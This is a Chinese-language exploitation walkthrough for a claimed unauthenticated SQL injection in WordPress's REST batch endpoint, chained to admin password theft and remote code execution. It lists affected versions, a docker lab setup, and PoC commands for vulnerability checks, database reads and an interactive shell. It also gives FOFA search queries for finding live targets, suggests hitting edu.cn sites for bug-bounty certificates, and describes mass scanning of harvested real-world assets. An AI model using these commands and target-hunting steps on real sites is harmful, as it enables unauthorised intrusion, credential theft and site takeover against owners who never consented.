WordPress 内置 REST API,允许开发者通过 HTTP 请求与站点进行数据交互,实现前后端分离、移动应用对接及第三方服务集成。其批量请求端点(/wp-json/batch/v1)自5.6版本起内置,用于将多个子请求打包为单次 HTTP 调用以提升性能。攻击者无需身份认证即可通过漏洞链触发数据库查询,实现管理员账户信息泄露。可实现未授权 SQL 注入获取管理员密码哈希,再通过破解管理员密码并利用插件安装功能可实现代码执行。
影响版本
WordPress 6.8.0-6.85
WordPress 6.9.0 – 6.9.4
WordPress 7.0.0 – 7.0.1
利用条件:
目标系统的REST API 接口处于开启状态【WordPress 默认开启】
FOFA语法:
app="WordPress"
edu刷证书站也是OK的
app="WordPress" && host="edu.cn"0x2 靶场环境搭建
靶场下载:
先下载官方 WordPress 6.9.4 源码:https://wordpress.org/wordpress-6.9.4.tar.gz
进入wordpress文件夹,在同目录新建docker-compose.yml,内容如下:
services:
web:
image: wordpress:6.9.4-apache
ports:
- "8090:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: wppass
WORDPRESS_DB_NAME: wpdb
volumes:
- ./:/var/www/html
depends_on:
- db
restart: unless-stopped
db:
image: mariadb:10.6
environment:
MYSQL_DATABASE: wpdb
MYSQL_USER: wpuser
MYSQL_PASSWORD: wppass
MYSQL_ROOT_PASSWORD: rootpass
volumes:
- db_data:/var/lib/mysql
restart: unless-stopped
volumes:
db_data:
启动环境:
# 启动容器 docker-compose up -d # 给目录权限,避免安装报错 docker-compose exec web chown -R www-data:www-data /var/www/html访问:http://localhost:8090/
0x3 漏洞利用
一、poc脚本
GitHub项目地址:
https://github.com/Icex0/wp2shell-poc
1、漏洞存活检测
python3 wp2shell.py check http://localhost:8090/重点关注这一行,若存在,说明目标存在 Batch 路由混淆行为:
[+] VULNERABLE — batch route-confusion behavior detected.2、SQL注入漏洞
python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT DATABASE()" python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT @@version"3、命令执行RCE
python3 wp2shell.py shell http://localhost:8090/ -i二、批量刷分
FOFA语法:
app="WordPress"把相关资产导出,然后使用下面这个脚本批量测试,GitHub项目地址:
https://github.com/fullhunt/wp2shell-scan
安装依赖:
pip3 install -r requirements.txt-u单个目标-f批量目标文件(txt 一行一个 URL)-o输出结果文件--check-type检测模式time-based时间盲注(推荐,无破坏、最稳定)error-based报错盲注(速度快,部分站点会拦截报错)--timeout请求超时时间--delay盲注休眠时长(默认 3 秒)
批量检测命令(时间盲注,推荐)
python3 wp2shell-scan.py check -l targets.txt存在漏洞即显示下面的:
三、Yakit插件漏洞扫
下载对应CVE漏洞的插件
批量导入
直接就可以看存在漏洞的资产了